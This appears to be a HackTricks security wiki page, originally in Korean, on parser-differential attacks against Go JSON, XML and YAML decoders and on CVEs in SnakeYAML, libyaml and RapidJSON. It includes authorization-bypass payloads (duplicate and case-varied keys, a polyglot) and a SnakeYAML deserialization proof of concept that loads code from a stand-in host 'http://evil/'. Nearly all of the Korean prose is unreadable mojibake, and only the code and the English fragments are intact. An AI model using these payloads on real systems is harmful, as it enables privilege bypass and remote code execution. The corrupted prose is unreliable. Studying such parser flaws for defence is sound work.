JSON, XML & Yaml Hacking & Issues
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Go JSON Decoder
๋ค์ ๋ฌธ์ ๋ค์ Go JSON์์ ๋ฐ๊ฒฌ๋์์ง๋ง ๋ค๋ฅธ ์ธ์ด์๋ ์กด์ฌํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ฌธ์ ๋ค์ this blog post์ ๊ณต๊ฐ๋์์ต๋๋ค.
Go์ JSON, XML, YAML ํ์๋ ์ผ๊ด์ฑ ๋ถ์กฑ๊ณผ ์์ ํ์ง ์์ ๊ธฐ๋ณธ ์ค์ ์ด ์ค๋์ ๋ถํฐ ์ด์ด์ ธ ์์ผ๋ฉฐ, ์ด๋ ์ธ์ฆ ์ฐํ, ๊ถํ ์์น, ๋๋ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ ์ ์ถ์ ์ ์ฉ๋ ์ ์์ต๋๋ค.
(Un)Marshaling Unexpected Data
๋ชฉํ๋ ๊ณต๊ฒฉ์๊ฐ ๋ฏผ๊ฐํ ํ๋(์: IsAdmin, Password)๋ฅผ ์ฝ๊ฑฐ๋ ์ธ ์ ์๋๋ก ํ์ฉํ๋ ๊ตฌ์กฐ์ฒด(struct)๋ฅผ ์
์ฉํ๋ ๊ฒ์
๋๋ค.
- ์์ ๊ตฌ์กฐ์ฒด:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- ์ผ๋ฐ์ ์ธ ์ทจ์ฝ์
- ํ๊ทธ ์์ (ํ๊ทธ๊ฐ ์์ผ๋ฉด = ํ๋๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ ํ ํ์ฑ๋ฉ๋๋ค):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
-์ ์๋ชป๋ ์ฌ์ฉ:
type User struct {
IsAdmin bool `json:"-,omitempty"` // โ wrong
}
Payload:
{"-": true}
โ๏ธ ํ๋๊ฐ (un)marshaled ๋๋ ๊ฒ์ ์ฐจ๋จํ๋ ์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ:
type User struct {
IsAdmin bool `json:"-"`
}
ํ์ ์ฐจ์ด
๋ชฉํ๋ ์๋ก ๋ค๋ฅธ ํ์๊ฐ ๋์ผํ ํ์ด๋ก๋๋ฅผ ๋ค๋ฅด๊ฒ ํด์ํ๋ ์ ์ ์ด์ฉํด authorization์ bypassํ๋ ๊ฒ์ ๋๋ค. ์:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. ์ค๋ณต ํ๋:
Go์ encoding/json๋ ๋ง์ง๋ง ํ๋๋ฅผ ์ทจํฉ๋๋ค.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
๋ค๋ฅธ ํ์(์: Javaโs Jackson)๋ ์ฒซ ๋ฒ์งธ ๊ฐ์ ์ ํํ ์ ์์ต๋๋ค.
2. ๋์๋ฌธ์ ๊ตฌ๋ถ ์์:
Go๋ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์์ต๋๋ค:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Unicode ํธ๋ฆญ๋ ํตํ๋ค:
json.Unmarshal([]byte(`{"aโชtionลฟ": "bypass"}`), &req)
3. Cross-service mismatch: ์์ํด๋ณด์:
- Proxy๊ฐ Go๋ก ์์ฑ๋จ
- AuthZ service๊ฐ Python์ผ๋ก ์์ฑ๋จ
Attacker๊ฐ ๋ณด๋:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python์
UserAction์ ๋ณด๊ณ ํ์ฉํ๋ค - Go๋
AdminAction์ ๋ณด๊ณ ์คํํ๋ค
๋ฐ์ดํฐ ํ์ ํผ๋ (Polyglots)
๋ชฉํ๋ ํฌ๋งท์ ํผํฉ(JSON/XML/YAML)ํ๊ฑฐ๋ ํ์ ์ค๋ฅ ์ fail openํ๋ ์์คํ ์ ์ ์ฉํ๋ ๊ฒ์ด๋ค. ์:
- CVE-2020-16250: HashiCorp Vault๋ STS๊ฐ XML ๋์ JSON์ ๋ฐํํ ํ XML ํ์๋ก JSON์ ํ์ฑํ๋ค.
๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํญ๋ชฉ:
Accept: application/jsonํค๋- JSON ๋ณธ๋ฌธ์ ์ผ๋ถ ์ ์ด
Go์ XML ํ์๋ ์ด์จ๋ ์ด๋ฅผ ํ์ฑํ๊ณ ์ฃผ์ ๋ ์ ์์ ์ ๋ขฐํ๋ค.
- ์ ์๋ payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
๊ฒฐ๊ณผ:
- Go JSON ํ์:
Action_2(๋์๋ฌธ์ ๊ตฌ๋ถํ์ง ์์ + ๋ง์ง๋ง ํญ๋ชฉ ์ฐ์ ) - YAML ํ์:
Action_1(๋์๋ฌธ์ ๊ตฌ๋ถ) - XML ํ์: ๋ฌธ์์ด ๋ด๋ถ์
"Action_3"์ ํ์ฑํจ
์ฃผ๋ชฉํ ๋งํ ํ์ ์ทจ์ฝ์ (2023-2025)
๋ค์ ๊ณต๊ฐ์ ์ผ๋ก ์ ์ฉ ๊ฐ๋ฅํ ์ด์๋ค์ ์์ ํ์ง ์์ ํ์ฑ์ด ๋ค์ค ์ธ์ด ๋ฌธ์ ๋ผ๋ ๊ฒ์ ๋ณด์ฌ์ค๋ค โ ๋จ์ง Go๋ง์ ๋ฌธ์ ๊ฐ ์๋๋ค.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- ์ํฅ ๋์:
org.yaml:snakeyaml< 2.0 (Spring-Boot, Jenkins ๋ฑ์์ ์ฌ์ฉ๋จ). - ๊ทผ๋ณธ ์์ธ:
new Constructor()๊ฐ ์์์ Java ํด๋์ค๋ฅผ ์ญ์ง๋ ฌํํ์ฌ gadget ์ฒด์ธ์ ํ์ฉํ๋ฉฐ, ์ด๋ ์๊ฒฉ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์. - ์๋ผ์ด๋ PoC (์ทจ์ฝํ ํธ์คํธ์์ ๊ณ์ฐ๊ธฐ๋ฅผ ์คํํจ):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- ์์ / ์ํ:
- โฅ2.0๋ก ์
๊ทธ๋ ์ด๋ (
SafeLoader๋ฅผ ๊ธฐ๋ณธ์ผ๋ก ์ฌ์ฉ). - ๊ตฌ๋ฒ์ ์์๋ ๋ช
์์ ์ผ๋ก
new Yaml(new SafeConstructor())๋ฅผ ์ฌ์ฉํ์ธ์.
libyaml Double-Free (CVE-2024-35325)
- ์ํฅ ๋ฐ์:
libyamlโค0.2.5 (๋ง์ ์ธ์ด ๋ฐ์ธ๋ฉ์์ ํ์ฉ๋๋ C ๋ผ์ด๋ธ๋ฌ๋ฆฌ). - ๋ฌธ์ :
yaml_event_delete()๋ฅผ ๋ ๋ฒ ํธ์ถํ๋ฉด double-free๊ฐ ๋ฐ์ํ์ฌ ๊ณต๊ฒฉ์๊ฐ DoS๋ก ๋ง๋ค๊ฑฐ๋, ์ผ๋ถ ์๋๋ฆฌ์ค์์๋ heap exploitation์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. - ์ํ: Upstream์์ โAPI misuseโ๋ก ๊ฑฐ๋ถํ์ง๋ง, ๋ฆฌ๋ ์ค ๋ฐฐํฌํ๋ค์ ๋ฐฉ์ด์ ์ผ๋ก ํฌ์ธํฐ๋ฅผ null-free ์ฒ๋ฆฌํ๋ ํจ์น๋ 0.2.6์ ๋ฐฐํฌํ์ต๋๋ค.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- ์ํฅ ๋ฐ์: Tencent RapidJSON
8269bc2์ปค๋ฐ ์ด์ (<1.1.0-patch-22). - ์ทจ์ฝ์ :
GenericReader::ParseNumber()์์ ๊ฒ์ฆ๋์ง ์์ ์ฐ์ ์ฐ์ฐ์ผ๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ํฌ๊ฒ ๋ฒ์ด๋ ์ซ์ ๋ฆฌํฐ๋ด์ ์กฐ์ํด wrap-around๋ฅผ ๋ฐ์์ํค๊ณ heap์ ์์์ํฌ ์ ์์ผ๋ฉฐ โ ๊ฒฐ๊ณผ ๊ฐ์ฒด ๊ทธ๋ํ๊ฐ ๊ถํ ๊ฒฐ์ ์ ์ฌ์ฉ๋ ๊ฒฝ์ฐ ๊ฒฐ๊ตญ privilege-escalation์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
๐ ์ํ์ฑ (์ ๋ฐ์ดํธ๋จ)
| Risk | Fix / Recommendation |
|---|---|
| ์ ์ ์๋ ํ๋ (JSON) | decoder.DisallowUnknownFields() |
| ์ค๋ณต ํ๋ (JSON) | โ stdlib์๋ ์์ ์์ โ ๊ฒ์ฆ์ ์ํด jsoncheck ์ฌ์ฉ |
| ๋์๋ฌธ์ ๋ฌด์ ๋งค์นญ (Go) | โ ์์ ์์ โ struct tag์ ๊ฒ์ฆํ๊ณ ์ ๋ ฅ์ ์ฌ์ ์ ๊ทํ(pre-canonicalize) |
| XML ๋ถํ์ ๋ฐ์ดํฐ / XXE | ๊ฐํ๋ ํ์ ์ฌ์ฉ (encoding/xml + DisallowDTD) |
| YAML ์ ์ ์๋ ํค | yaml.KnownFields(true) |
| Unsafe YAML deserialization | SafeConstructor ์ฌ์ฉ / SnakeYAML โฅ2.0์ผ๋ก ์ ๊ทธ๋ ์ด๋ |
| libyaml โค0.2.5 double-free | 0.2.6 ๋๋ ๋ฐฐํฌํ ํจ์น ๋ฆด๋ฆฌ์ค๋ก ์ ๊ทธ๋ ์ด๋ |
| RapidJSON <patched commit | ์ต์ RapidJSON(โฅJuly 2024)์ผ๋ก ์ปดํ์ผ |
See also
์ฐธ๊ณ ์๋ฃ
- Baeldung โ โResolving CVE-2022-1471 With SnakeYAML 2.0โ
- Ubuntu Security Tracker โ CVE-2024-35325 (libyaml)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


